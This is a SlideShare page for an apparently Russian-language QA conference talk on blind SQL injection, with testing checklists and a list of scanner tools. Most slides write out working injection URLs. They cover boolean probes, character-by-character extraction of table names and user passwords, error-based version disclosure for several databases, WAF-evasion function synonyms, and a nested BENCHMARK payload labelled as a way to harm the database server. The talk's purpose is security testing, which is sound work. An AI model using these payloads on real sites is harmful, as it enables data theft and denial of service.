SlideShare a Scribd company logo
1 of 20
Слепые SQL инъекции. 
Игорь Бондаренко. Neklo.
Цикл докладов 
1/18 
1. Тестирование защищенности веб-приложений 
http://sqadays.com/ru/talk/11187 
2. Тестирование программных фильтров 
безопасности 
http://sqadays.com/ru/talk/11128
Архитектура уязвимости 
Blind SQL Injection 
Classical Injection 
Error Based Injection 
Double Blind Injection 
2/18
Условия возникновения 
уязвимости 
• Результат выполнения внедренного запроса не отображается 
среди данных доступных пользователю 
• Внедренный запрос попадает в несколько разных запросов, 
осуществляющих выборку из таблиц с различным числом 
столбцов 
• Используется фильтрация склеивания запросов 
3/18
Classical Injection 
Вывод информации на экран: Невозможен 
Способ обнаружения: Посимвольный перебор 
site.com/index.php?id=2 
Select title, page 
From Pages 
Where Pages.id = 2; 
4/18
Обнаружение уязвимости 
site.com/index.php?id=2’ AND ‘1’ = ‘1’— 
Select title, page 
From Pages 
Where Pages.id = 2 
AND 1=1; 
site.com/index.php?id=2’ AND ‘1’=‘2’— 
Select title, page 
From Pages 
Where Pages.id = 2 
AND 1=2; 
5/18
Эксплуатация уязвимости 
site.com/index.php?id=2’ AND USER_NAME() = 
‘Admin‘ 
site.com/index.php?id=2’ AND 
ascii(lower(substring((SELECT TOP 1 name 
FROM sysobjects WHERE xtype='U'), 1, 1))) > 
109 
6/18
Кому это нужно? 
7/18
Тестирование 
1. Проверка корректной обработки истинных и ложных 
запросов 
2. Проверка со значениями подобранными для 
существующих пользователей и имен таблиц 
8/18
Error Based Injection 
Вывод информации на экран: В сообщениях об 
ошибках 
Способ обнаружения: Использование готовых техник 
для конкретных баз данных 
9/18
Способ обнаружения 
site.com/index.php?id=2’ OR (SELECT COUNT(*) 
FROM (SELECT 1 UNION SELECT 2 UNION 
SELECT 3)x GROUP BY MID(VERSION(), 
FLOOR(RAND(0)*2), 64)) -- 
При наличии уязвимости приложение вернет 
ошибку: 
Duplicate entry '5.0.45' for key 1 
10/18
Запросы для других баз 
данных 
• PostgreSQL: 
site.com/index.php?id=1 and(1)=cast(version() as numeric)— 
• MSSQL: 
site.com/index.php?id=1 and(1)=convert(int,@@version)— 
• Sybase: 
site.com/index.php?id=1 and(1)=convert(int,@@version)— 
• Oracle: 
site.com/index.php?id=1 and(1)=(select 
upper(XMLType(chr(60)||chr(58)||chr(58)||(select 
replace(banner,chr(32),chr(58)) from sys.v_$version where 
rownum=1)||chr(62))) from dual)-- 
11/18
Тестирование 
1. Определение версии и типа поддерживаемой БД 
2. Использование готовых эксплоитов для 
определенной БД 
12/18
Double Blind Injections 
Вывод информации на экран: Отсутствует 
Способ обнаружения: Посимвольный перебор с 
использованием временных задержек 
13/18
Техники эксплуатации 
Посимвольный перебор с помощью Benchmark: 
site.com/index.php?id=2’ AND 
ascii(lower(substring((SELECT TOP 1 name FROM 
sysobjects WHERE xtype='U'), 1, 1))) > 109 , 1, 
BENCHMARK(2999999,MD5(NOW()))) 
Способ навредить серверу БД: 
site.com/index.php?id=2’ AND BENCHMARK(100000, 
BENCHMARK(100000,md5(current_time))) 
14/18
Техники эксплуатации 
Использование логических запросов AND и OR 
• /?id=2+OR+0x50=0x50 
• /?id=2+and+ascii(lower(mid((select+pwd+from+users+limit+1,1), 
1,1)))=74 
Использование функций синонимов для WAF 
• substring((select 'password'),1,1) = 0x70 
• substr((select 'password'),1,1) = 0x70 
• mid((select 'password'),1,1) = 0x70 
• strcmp(left('password',1), 0x69) = 1 
• strcmp(left('password',1), 0x70) = 0 
• strcmp(left('password',1), 0x71) = -1 
15/18
Тестирование 
1. Проверка отсутствия временных задержек 
при выполнении истинных и ложных запросов 
2. Подбор приемлемого времени отклика 
3. Проверка со значениями подобранными для 
существующих пользователей и имен таблиц 
16/18
Программы для поиска 
уязвимостей 
1. SQLMap 
2. Blind SQL Injector Tool 
3. WebInspect 
17/18
Заключение 
1. Проверки слепых инъекций значительно 
повысят качество ваших тестов 
2. Тесты быстрые и простые 
3. Тесты можно не проводить вручную 
18/18
Вопросы 
Email: bondarenko.ihar@yandex.ru 
Skype: igor.bondarenko1

More Related Content

Viewers also liked

Play Template Engine Based On Scala
Play Template Engine Based On ScalaPlay Template Engine Based On Scala
Play Template Engine Based On ScalaKnoldus Inc.
 
Павел Павлов - Scala для Java программистов (JavaDay Nsk 28.11.2013)
Павел Павлов - Scala для Java программистов (JavaDay Nsk 28.11.2013)Павел Павлов - Scala для Java программистов (JavaDay Nsk 28.11.2013)
Павел Павлов - Scala для Java программистов (JavaDay Nsk 28.11.2013)ScalaNsk
 
Павел Павлов - Scala для профессионалов - Joker 2013
Павел Павлов - Scala для профессионалов - Joker 2013Павел Павлов - Scala для профессионалов - Joker 2013
Павел Павлов - Scala для профессионалов - Joker 2013ScalaNsk
 
Backend: Пишем на Scala для браузера
Backend: Пишем на Scala для браузераBackend: Пишем на Scala для браузера
Backend: Пишем на Scala для браузераCodeFest
 
Переход на Scala: босиком по граблям
Переход на Scala: босиком по граблямПереход на Scala: босиком по граблям
Переход на Scala: босиком по граблямSveta Bozhko
 
Немного о кеше
Немного о кешеНемного о кеше
Немного о кешеDmitry Ignatiev
 
Самурайский путь молодого Scala-программиста
Самурайский путь молодого Scala-программистаСамурайский путь молодого Scala-программиста
Самурайский путь молодого Scala-программистаSergey Lobin
 
Introducing Scalate, the Scala Template Engine
Introducing Scalate, the Scala Template EngineIntroducing Scalate, the Scala Template Engine
Introducing Scalate, the Scala Template EngineJames Strachan
 
Scala in practice - 3 years later
Scala in practice - 3 years laterScala in practice - 3 years later
Scala in practice - 3 years laterpatforna
 
Golang from Scala developer’s perspective
Golang from Scala developer’s perspectiveGolang from Scala developer’s perspective
Golang from Scala developer’s perspectiveSveta Bozhko
 
Reactive Access to MongoDB from Scala
Reactive Access to MongoDB from ScalaReactive Access to MongoDB from Scala
Reactive Access to MongoDB from ScalaHermann Hueck
 
Scala Past, Present & Future
Scala Past, Present & FutureScala Past, Present & Future
Scala Past, Present & Futuremircodotta
 
The Evolution of Scala
The Evolution of ScalaThe Evolution of Scala
The Evolution of ScalaMartin Odersky
 
Six years of Scala and counting
Six years of Scala and countingSix years of Scala and counting
Six years of Scala and countingManuel Bernhardt
 
Scala - A Scalable Language
Scala - A Scalable LanguageScala - A Scalable Language
Scala - A Scalable LanguageMario Gleichmann
 
Macro in Scala
Macro in ScalaMacro in Scala
Macro in Scalatakezoe
 

Viewers also liked (20)

Play Template Engine Based On Scala
Play Template Engine Based On ScalaPlay Template Engine Based On Scala
Play Template Engine Based On Scala
 
Павел Павлов - Scala для Java программистов (JavaDay Nsk 28.11.2013)
Павел Павлов - Scala для Java программистов (JavaDay Nsk 28.11.2013)Павел Павлов - Scala для Java программистов (JavaDay Nsk 28.11.2013)
Павел Павлов - Scala для Java программистов (JavaDay Nsk 28.11.2013)
 
Павел Павлов - Scala для профессионалов - Joker 2013
Павел Павлов - Scala для профессионалов - Joker 2013Павел Павлов - Scala для профессионалов - Joker 2013
Павел Павлов - Scala для профессионалов - Joker 2013
 
Scala.js в production
Scala.js в productionScala.js в production
Scala.js в production
 
Backend: Пишем на Scala для браузера
Backend: Пишем на Scala для браузераBackend: Пишем на Scala для браузера
Backend: Пишем на Scala для браузера
 
Переход на Scala: босиком по граблям
Переход на Scala: босиком по граблямПереход на Scala: босиком по граблям
Переход на Scala: босиком по граблям
 
Немного о кеше
Немного о кешеНемного о кеше
Немного о кеше
 
Scala.js
Scala.jsScala.js
Scala.js
 
Самурайский путь молодого Scala-программиста
Самурайский путь молодого Scala-программистаСамурайский путь молодого Scala-программиста
Самурайский путь молодого Scala-программиста
 
Intro scala for rubyists (ironhack)
Intro scala for rubyists (ironhack)Intro scala for rubyists (ironhack)
Intro scala for rubyists (ironhack)
 
Introducing Scalate, the Scala Template Engine
Introducing Scalate, the Scala Template EngineIntroducing Scalate, the Scala Template Engine
Introducing Scalate, the Scala Template Engine
 
Scala in practice - 3 years later
Scala in practice - 3 years laterScala in practice - 3 years later
Scala in practice - 3 years later
 
Golang from Scala developer’s perspective
Golang from Scala developer’s perspectiveGolang from Scala developer’s perspective
Golang from Scala developer’s perspective
 
Reactive Access to MongoDB from Scala
Reactive Access to MongoDB from ScalaReactive Access to MongoDB from Scala
Reactive Access to MongoDB from Scala
 
Scala Past, Present & Future
Scala Past, Present & FutureScala Past, Present & Future
Scala Past, Present & Future
 
The Evolution of Scala
The Evolution of ScalaThe Evolution of Scala
The Evolution of Scala
 
Joy of scala
Joy of scalaJoy of scala
Joy of scala
 
Six years of Scala and counting
Six years of Scala and countingSix years of Scala and counting
Six years of Scala and counting
 
Scala - A Scalable Language
Scala - A Scalable LanguageScala - A Scalable Language
Scala - A Scalable Language
 
Macro in Scala
Macro in ScalaMacro in Scala
Macro in Scala
 

Similar to Blind SQL Injections. Достаточно ли хороши ваши тесты?

Blind Sql Injections. Хороши ли ваши тесты?
Blind Sql Injections. Хороши ли ваши тесты?Blind Sql Injections. Хороши ли ваши тесты?
Blind Sql Injections. Хороши ли ваши тесты?Zestranec
 
Безопасность Drupal сайтов
Безопасность Drupal сайтовБезопасность Drupal сайтов
Безопасность Drupal сайтовEugene Fidelin
 
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Ontico
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Maksim Kochkin
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложенийZestranec
 
Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийSQALab
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовAlbina Tiupa
 
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхDmitry Evteev
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложенияMaxim Krentovskiy
 
Современный статический анализ кода: что умеет он, чего не умели линтеры
Современный статический анализ кода: что умеет он, чего не умели линтерыСовременный статический анализ кода: что умеет он, чего не умели линтеры
Современный статический анализ кода: что умеет он, чего не умели линтерыcorehard_by
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NETPositive Hack Days
 
Методы обхода Web Application Firewall
Методы обхода Web Application FirewallМетоды обхода Web Application Firewall
Методы обхода Web Application FirewallDmitry Evteev
 
6 кареев киров
6 кареев киров6 кареев киров
6 кареев кировqasib
 
ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...
ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...
ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...Expolink
 
Advanced Sql Injection
Advanced Sql InjectionAdvanced Sql Injection
Advanced Sql InjectionDmitry Evteev
 
Практика использования Solar inCode
Практика использования Solar inCodeПрактика использования Solar inCode
Практика использования Solar inCodeSolar Security
 
Архитектура кода нового 2ГИС Web API или куда мы дели MVC
Архитектура кода нового 2ГИС Web API или куда мы дели MVCАрхитектура кода нового 2ГИС Web API или куда мы дели MVC
Архитектура кода нового 2ГИС Web API или куда мы дели MVCDevDay
 

Similar to Blind SQL Injections. Достаточно ли хороши ваши тесты? (20)

Blind Sql Injections. Хороши ли ваши тесты?
Blind Sql Injections. Хороши ли ваши тесты?Blind Sql Injections. Хороши ли ваши тесты?
Blind Sql Injections. Хороши ли ваши тесты?
 
Безопасность Drupal сайтов
Безопасность Drupal сайтовБезопасность Drupal сайтов
Безопасность Drupal сайтов
 
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложений
 
Тестирование защищенности веб-приложений
Тестирование защищенности веб-приложенийТестирование защищенности веб-приложений
Тестирование защищенности веб-приложений
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтов
 
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
 
Современный статический анализ кода: что умеет он, чего не умели линтеры
Современный статический анализ кода: что умеет он, чего не умели линтерыСовременный статический анализ кода: что умеет он, чего не умели линтеры
Современный статический анализ кода: что умеет он, чего не умели линтеры
 
PT MIFI Labsql
PT MIFI LabsqlPT MIFI Labsql
PT MIFI Labsql
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
PT MIFI Labsql
PT MIFI LabsqlPT MIFI Labsql
PT MIFI Labsql
 
Методы обхода Web Application Firewall
Методы обхода Web Application FirewallМетоды обхода Web Application Firewall
Методы обхода Web Application Firewall
 
Database security
Database securityDatabase security
Database security
 
6 кареев киров
6 кареев киров6 кареев киров
6 кареев киров
 
ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...
ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...
ФГУП НПП "Гамма". Денис Микрюков. "Система обнаружения вторжений в автоматизи...
 
Advanced Sql Injection
Advanced Sql InjectionAdvanced Sql Injection
Advanced Sql Injection
 
Практика использования Solar inCode
Практика использования Solar inCodeПрактика использования Solar inCode
Практика использования Solar inCode
 
Архитектура кода нового 2ГИС Web API или куда мы дели MVC
Архитектура кода нового 2ГИС Web API или куда мы дели MVCАрхитектура кода нового 2ГИС Web API или куда мы дели MVC
Архитектура кода нового 2ГИС Web API или куда мы дели MVC
 

Blind SQL Injections. Достаточно ли хороши ваши тесты?

  • 1. Слепые SQL инъекции. Игорь Бондаренко. Neklo.
  • 2. Цикл докладов 1/18 1. Тестирование защищенности веб-приложений http://sqadays.com/ru/talk/11187 2. Тестирование программных фильтров безопасности http://sqadays.com/ru/talk/11128
  • 3. Архитектура уязвимости Blind SQL Injection Classical Injection Error Based Injection Double Blind Injection 2/18
  • 4. Условия возникновения уязвимости • Результат выполнения внедренного запроса не отображается среди данных доступных пользователю • Внедренный запрос попадает в несколько разных запросов, осуществляющих выборку из таблиц с различным числом столбцов • Используется фильтрация склеивания запросов 3/18
  • 5. Classical Injection Вывод информации на экран: Невозможен Способ обнаружения: Посимвольный перебор site.com/index.php?id=2 Select title, page From Pages Where Pages.id = 2; 4/18
  • 6. Обнаружение уязвимости site.com/index.php?id=2’ AND ‘1’ = ‘1’— Select title, page From Pages Where Pages.id = 2 AND 1=1; site.com/index.php?id=2’ AND ‘1’=‘2’— Select title, page From Pages Where Pages.id = 2 AND 1=2; 5/18
  • 7. Эксплуатация уязвимости site.com/index.php?id=2’ AND USER_NAME() = ‘Admin‘ site.com/index.php?id=2’ AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 109 6/18
  • 9. Тестирование 1. Проверка корректной обработки истинных и ложных запросов 2. Проверка со значениями подобранными для существующих пользователей и имен таблиц 8/18
  • 10. Error Based Injection Вывод информации на экран: В сообщениях об ошибках Способ обнаружения: Использование готовых техник для конкретных баз данных 9/18
  • 11. Способ обнаружения site.com/index.php?id=2’ OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(), FLOOR(RAND(0)*2), 64)) -- При наличии уязвимости приложение вернет ошибку: Duplicate entry '5.0.45' for key 1 10/18
  • 12. Запросы для других баз данных • PostgreSQL: site.com/index.php?id=1 and(1)=cast(version() as numeric)— • MSSQL: site.com/index.php?id=1 and(1)=convert(int,@@version)— • Sybase: site.com/index.php?id=1 and(1)=convert(int,@@version)— • Oracle: site.com/index.php?id=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)-- 11/18
  • 13. Тестирование 1. Определение версии и типа поддерживаемой БД 2. Использование готовых эксплоитов для определенной БД 12/18
  • 14. Double Blind Injections Вывод информации на экран: Отсутствует Способ обнаружения: Посимвольный перебор с использованием временных задержек 13/18
  • 15. Техники эксплуатации Посимвольный перебор с помощью Benchmark: site.com/index.php?id=2’ AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 109 , 1, BENCHMARK(2999999,MD5(NOW()))) Способ навредить серверу БД: site.com/index.php?id=2’ AND BENCHMARK(100000, BENCHMARK(100000,md5(current_time))) 14/18
  • 16. Техники эксплуатации Использование логических запросов AND и OR • /?id=2+OR+0x50=0x50 • /?id=2+and+ascii(lower(mid((select+pwd+from+users+limit+1,1), 1,1)))=74 Использование функций синонимов для WAF • substring((select 'password'),1,1) = 0x70 • substr((select 'password'),1,1) = 0x70 • mid((select 'password'),1,1) = 0x70 • strcmp(left('password',1), 0x69) = 1 • strcmp(left('password',1), 0x70) = 0 • strcmp(left('password',1), 0x71) = -1 15/18
  • 17. Тестирование 1. Проверка отсутствия временных задержек при выполнении истинных и ложных запросов 2. Подбор приемлемого времени отклика 3. Проверка со значениями подобранными для существующих пользователей и имен таблиц 16/18
  • 18. Программы для поиска уязвимостей 1. SQLMap 2. Blind SQL Injector Tool 3. WebInspect 17/18
  • 19. Заключение 1. Проверки слепых инъекций значительно повысят качество ваших тестов 2. Тесты быстрые и простые 3. Тесты можно не проводить вручную 18/18